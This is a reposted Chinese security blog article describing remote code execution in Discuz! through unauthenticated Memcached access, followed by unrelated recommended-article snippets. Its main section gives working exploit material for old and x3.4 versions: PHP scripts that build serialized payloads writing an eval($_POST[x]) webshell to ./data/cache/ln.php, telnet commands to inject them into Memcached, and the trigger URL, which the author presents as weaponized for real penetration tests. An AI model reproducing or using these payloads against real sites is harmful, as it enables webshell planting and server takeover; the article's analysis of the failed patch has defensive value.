【轉(zhuǎn)】Discuz!因Memcached未授權(quán)訪問導(dǎo)致的RCE

首先這篇文章轉(zhuǎn)自先知宝恶,作者
尼古拉斯三楞
如有侵權(quán)請私信烙丛。

一祭埂、前言

這個(gè)漏洞大家一定不陌生面氓,在16年的時(shí)候關(guān)于discuz! + ssrf +memcached的RCE漏洞讓大家都很驚艷,一年過去了這個(gè)漏洞的修復(fù)情況又是怎樣的呢蛆橡?

二舌界、漏洞簡述

這個(gè)漏洞大致利用過程是這樣的:利用discuz!的ssrf漏洞,利用gopher協(xié)議寫入payload到memcached泰演,然后請求特定鏈接導(dǎo)致代碼執(zhí)行漏洞呻拌。

可以看出漏洞利用兩個(gè)關(guān)鍵點(diǎn):

1.ssrf漏洞

2.代碼執(zhí)行漏洞

利用ssrf漏洞是要向memcached中寫入payload,我們抽象的看ssrf只是寫入payload的一種方式睦焕。如果memcached的11211端口綁定到了外網(wǎng)并且可以未授權(quán)訪問藐握,ssrf漏洞我們也可以不使用了。今天在做一個(gè)滲透測試的時(shí)候遇到了此種情況垃喊。

因此猾普,現(xiàn)在我的關(guān)注點(diǎn)是代碼執(zhí)行漏洞。如果代碼執(zhí)行漏洞沒有修復(fù)本谜,我就可以利用memcached未授權(quán)漏洞寫入payload初家,使用代碼執(zhí)行漏洞獲取webshell。

三乌助、discuz溜在!代碼執(zhí)行漏洞分析

漏洞利用有兩個(gè)版本,一個(gè)是老版本他托,一個(gè)是新版本炕泳,discuz!雖然已經(jīng)是x3.4上祈,代碼也發(fā)生了變化,漏洞確是任然沒有修復(fù)。

漏洞利用代碼流程邏輯:

訪問:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes
./source/module/forum/forum_ajax.php

./template/default/common/footer_ajax.htm

./source/function/function_core.php

./source/function/function_core.php

最后利用preg_replace函數(shù)/e參數(shù)的代碼執(zhí)行特性完成了漏洞利用的全部過程登刺。

以上是老版本代碼籽腕,在網(wǎng)上已經(jīng)有一些分析了,在這里簡述一些纸俭,重點(diǎn)是payload的完整性使用皇耗。網(wǎng)上文章大部分在payload部分都只是驗(yàn)證性演示。作為一名紅隊(duì)滲透測試人員揍很,驗(yàn)證性payload肯定是不能再實(shí)際滲透測試活動(dòng)中使用的郎楼。

四、漏洞利用流程

1 老版本漏洞利用流程:

生成payload

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/e";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>

? 然后telnet鏈接memcached

telnet 1.1.1.1 11211
set xxxxxx_setting 1 0 yyy    //xxxx為前綴窒悔,discuz定義的呜袁,可以使用stats cachedump 命令查看。yyy為payload長度简珠。

最后訪問forum.php?mod=ajax&inajax=yes&action=getthreadtypes阶界,shell生成/data/cache/ln.php。

2 網(wǎng)上給的修復(fù)代碼是這樣的

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">if (preg_match("(/|#|+|%).*(/|#|+|%)e", $_G['setting']['output']['preg']['search']) !== FALSE) { die("request error"); }
</pre>

? 這個(gè)修復(fù)完全沒有作用聋庵,無效修復(fù)膘融,preg_match的正則根本匹配不到/.*/e。注意看祭玉,正則代碼沒有給分隔符氧映,而(成了分隔符,讓正則失去了本來的作用脱货,如果加上分隔符岛都,正則匹配任何字符,將影響代碼正常功能蹭劈。

五疗绣、最新版本Discuz x3.4漏洞依舊存在

1 代碼變化,漏洞依舊

?漏洞點(diǎn)代碼已經(jīng)被更新铺韧,但是漏洞并沒有被修復(fù)多矮,這種代碼更新應(yīng)該是為了適應(yīng)php版本更新,因?yàn)閜hp5.5以后preg_replace/e參數(shù)被廢棄哈打,官方建議使用preg_replace_callback塔逃。

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">foreach($_G['setting']['output']['preg']['search']as $key => $value) {
$content= preg_replace_callback($value, create_function('$matches','return'.$_G['setting']['output']['preg']['replace'][$key].';'), $content);
}
</pre>

漏洞函數(shù)變成了create_function,這個(gè)函數(shù)大家都知道也是危險(xiǎn)函數(shù),可以造成代碼執(zhí)行漏洞料仗。

2 新版本漏洞利用流程

生成payload有點(diǎn)變化(ps:只是少了一個(gè)e)

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;"><?php
$payload['output']['preg']['search']['plugins']= "/.*/";
$payload['output']['preg']['replace']['plugins']= "file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";
$payload['rewritestatus']['plugins']= 1;
echoserialize($payload);
</pre>

<pre style="padding: 16px; font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace; font-size: 12.75px; color: rgb(51, 51, 51); border-radius: 3px; display: block; margin: 0px; line-height: 1.6; word-break: normal; word-wrap: normal; white-space: pre-wrap; background-color: rgb(247, 247, 247); border: 1px solid rgba(0, 0, 0, 0.15); box-sizing: border-box; font-style: normal; font-variant: normal; font-weight: normal; font-stretch: normal; overflow: auto;">a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:4:"/.*/";}s:7:"replace";a:1:{s:7:"plugins";s:68:"file_put_contents('./data/cache/ln.php','<?phpeval($_POST[x]);?>');";}}}s:13:"rewritestatus";a:1:{s:7:"plugins";i:1;}}
</pre>

訪問:

forum.php?mod=ajax&inajax=yes&action=getthreadtypes

最后一定要恢復(fù)緩存

Delete Vtfbsm_setting

成功寫入文件

四湾盗、總結(jié)

? 直到最新版本discuz也沒有修復(fù)這個(gè)漏洞,當(dāng)初的ssrf結(jié)合memcached的漏洞立轧,discuz只看到了ssrf漏洞格粪,并沒有留意到這個(gè)代碼執(zhí)行的漏洞躏吊。通過漏洞的抽象思維,我們知道控制memcached的方式不僅僅只有ssrf帐萎,再進(jìn)一步到代碼層比伏,控制$G全局變量的方式也不僅僅只有memcached。

點(diǎn)擊收藏 | 0關(guān)注 | 2

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末疆导,一起剝皮案震驚了整個(gè)濱河市赁项,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌澈段,老刑警劉巖悠菜,帶你破解...
    沈念sama閱讀 210,978評論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異败富,居然都是意外死亡悔醋,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,954評論 2 384
  • 文/潘曉璐 我一進(jìn)店門囤耳,熙熙樓的掌柜王于貴愁眉苦臉地迎上來篙顺,“玉大人,你說我怎么就攤上這事充择〉旅担” “怎么了?”我有些...
    開封第一講書人閱讀 156,623評論 0 345
  • 文/不壞的土叔 我叫張陵椎麦,是天一觀的道長宰僧。 經(jīng)常有香客問我,道長观挎,這世上最難降的妖魔是什么琴儿? 我笑而不...
    開封第一講書人閱讀 56,324評論 1 282
  • 正文 為了忘掉前任,我火速辦了婚禮嘁捷,結(jié)果婚禮上造成,老公的妹妹穿的比我還像新娘。我一直安慰自己雄嚣,他們只是感情好晒屎,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,390評論 5 384
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著缓升,像睡著了一般鼓鲁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上港谊,一...
    開封第一講書人閱讀 49,741評論 1 289
  • 那天骇吭,我揣著相機(jī)與錄音,去河邊找鬼歧寺。 笑死燥狰,一個(gè)胖子當(dāng)著我的面吹牛棘脐,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播龙致,決...
    沈念sama閱讀 38,892評論 3 405
  • 文/蒼蘭香墨 我猛地睜開眼荆残,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了净当?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,655評論 0 266
  • 序言:老撾萬榮一對情侶失蹤蕴潦,失蹤者是張志新(化名)和其女友劉穎像啼,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體潭苞,經(jīng)...
    沈念sama閱讀 44,104評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡忽冻,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,451評論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了此疹。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片僧诚。...
    茶點(diǎn)故事閱讀 38,569評論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖蝗碎,靈堂內(nèi)的尸體忽然破棺而出湖笨,到底是詐尸還是另有隱情,我是刑警寧澤蹦骑,帶...
    沈念sama閱讀 34,254評論 4 328
  • 正文 年R本政府宣布慈省,位于F島的核電站,受9級特大地震影響眠菇,放射性物質(zhì)發(fā)生泄漏边败。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,834評論 3 312
  • 文/蒙蒙 一捎废、第九天 我趴在偏房一處隱蔽的房頂上張望笑窜。 院中可真熱鬧,春花似錦登疗、人聲如沸排截。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,725評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽匾寝。三九已至,卻和暖如春荷腊,著一層夾襖步出監(jiān)牢的瞬間艳悔,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,950評論 1 264
  • 我被黑心中介騙來泰國打工女仰, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留猜年,地道東北人抡锈。 一個(gè)月前我還...
    沈念sama閱讀 46,260評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像乔外,于是被迫代替她去往敵國和親床三。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,446評論 2 348

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理杨幼,服務(wù)發(fā)現(xiàn)撇簿,斷路器,智...
    卡卡羅2017閱讀 134,628評論 18 139
  • PHP:include()``include_once()``require()``require_once() ...
    尋夢xunm閱讀 851評論 1 4
  • 11差购、談?wù)刴vc的認(rèn)識四瘫。由模型、視圖欲逃、控制器完成的應(yīng)用程序找蜜,由模型發(fā)出要實(shí)現(xiàn)的功能到控制器,控制器接收組織功能傳遞...
    像敏銳的狗閱讀 378評論 0 2
  • 1稳析、memcache的概念洗做? Memcache是一個(gè)高性能的分布式的內(nèi)存對象緩存系統(tǒng),通過在內(nèi)存里維護(hù)一個(gè)統(tǒng)一的巨...
    桖辶殤閱讀 2,230評論 2 12
  • 什么東西的成長都需要一定的環(huán)境彰居,愛情也是如此诚纸,就拿玫瑰來說,你說貧瘠的黃土高坡能長出玫瑰花來嗎裕菠,我看不能咬清,因?yàn)?..
    惶尚閱讀 251評論 0 0